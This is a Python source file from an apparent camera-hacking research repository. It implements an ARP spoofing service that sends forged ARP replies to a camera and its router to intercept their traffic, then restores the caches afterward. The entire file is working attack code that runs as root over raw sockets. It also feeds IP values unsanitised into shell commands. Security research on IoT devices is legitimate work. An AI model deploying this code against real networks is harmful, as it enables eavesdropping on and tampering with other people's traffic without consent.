Files
cam-mitm/services/arp_spoof.py
sssnake 800052acc2 Initial commit — SetecSuite Camera MITM Framework
Original tooling from the Camhak research project (camera teardown of a
rebranded UBIA / Javiscam IP camera). PyQt6 GUI on top of a curses TUI on
top of a service controller; per-service start/stop, intruder detection,
protocol fingerprinting, OAM HMAC signing, CVE verifiers, OTA bucket
probe, firmware fetcher, fuzzer, packet injection.

Tabs: Dashboard, Live Log, Intruders, Cloud API, Fuzzer, Inject, CVEs,
Config, Help. Real-time per-packet protocol detection, conntrack-based
original-destination lookup, log rotation at 1 GiB.

See SECURITY_PAPER.md for the full writeup, site/index.html for the
public report, README.md for usage. Run with:
    sudo /usr/bin/python3 gui.py

Co-authored by Setec Labs.
2026-04-09 08:14:18 -07:00

90 lines
2.5 KiB
Python

"""ARP spoofing service — positions us as MITM between camera and router"""
import socket
import struct
import os
import time
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO
def get_mac(ip):
try:
out = os.popen(f"ip neigh show {ip}").read()
for line in out.strip().split("\n"):
parts = line.split()
if "lladdr" in parts:
return parts[parts.index("lladdr") + 1]
except:
pass
return None
def build_arp_reply(src_mac_str, dst_mac_str, src_ip, dst_ip):
src_mac = bytes.fromhex(src_mac_str.replace(":", ""))
dst_mac = bytes.fromhex(dst_mac_str.replace(":", ""))
eth = dst_mac + src_mac + b"\x08\x06"
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2)
arp += src_mac + socket.inet_aton(src_ip)
arp += dst_mac + socket.inet_aton(dst_ip)
return eth + arp
def run(cfg, flags, running_check):
iface = cfg["iface"]
camera_ip = cfg["camera_ip"]
router_ip = cfg["router_ip"]
try:
with open(f"/sys/class/net/{iface}/address") as f:
our_mac = f.read().strip()
except:
log("ARP: cannot read our MAC", C_ERROR)
return
os.system(f"ping -c 1 -W 1 {router_ip} >/dev/null 2>&1")
os.system(f"ping -c 1 -W 1 {camera_ip} >/dev/null 2>&1")
time.sleep(1)
router_mac = get_mac(router_ip)
camera_mac = get_mac(camera_ip) or cfg["camera_mac"]
if not router_mac:
log(f"ARP: cannot find router MAC for {router_ip}", C_ERROR)
return
log(f"ARP: us={our_mac} router={router_mac} camera={camera_mac}", C_SUCCESS)
try:
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
sock.bind((iface, 0))
except PermissionError:
log("ARP: need root for raw sockets", C_ERROR)
return
flags["arp"] = True
pkt_to_cam = build_arp_reply(our_mac, camera_mac, router_ip, camera_ip)
pkt_to_rtr = build_arp_reply(our_mac, router_mac, camera_ip, router_ip)
while running_check():
try:
sock.send(pkt_to_cam)
sock.send(pkt_to_rtr)
except:
pass
time.sleep(2)
# Restore
log("ARP: restoring...", C_INFO)
r1 = build_arp_reply(router_mac, camera_mac, router_ip, camera_ip)
r2 = build_arp_reply(camera_mac, router_mac, camera_ip, router_ip)
for _ in range(5):
try:
sock.send(r1)
sock.send(r2)
except:
pass
time.sleep(0.3)
sock.close()
flags["arp"] = False
log("ARP: restored", C_INFO)